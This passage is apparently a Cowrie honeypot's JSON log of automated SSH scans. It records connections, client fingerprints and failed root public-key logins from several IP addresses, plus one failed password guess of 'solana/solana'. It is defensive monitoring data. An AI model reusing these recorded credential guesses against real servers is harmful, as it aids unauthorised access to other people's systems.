f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.461099Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.465177Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.555786Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.560015Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.650890Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.655175Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.750851Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.754792Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.845341Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:45.124620Z","src_ip":"2.57.122.208","session":"7458fa018205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:46.437131Z","src_ip":"2.57.122.208","session":"7458fa018205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.112.8","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee814eb5873a","protocol":"ssh","message":"New connection: 175.110.112.8:34922 (10.17.0.5:22) [session: ee814eb5873a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.005017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.009658Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.098155Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.35.227.51","src_port":61822,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86b20e9528d","protocol":"ssh","message":"New connection: 194.35.227.51:61822 (10.17.0.5:22) [session: f86b20e9528d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.132732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.138593Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.224982Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.515236Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.519250Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.608269Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.612330Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.628221Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.632140Z","src_ip":"194.35.227.51","session":"f86b20e9528d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:47.700973Z","src_ip":"175.110.112.8","session":"ee814eb5873a","protocol":"ssh"}
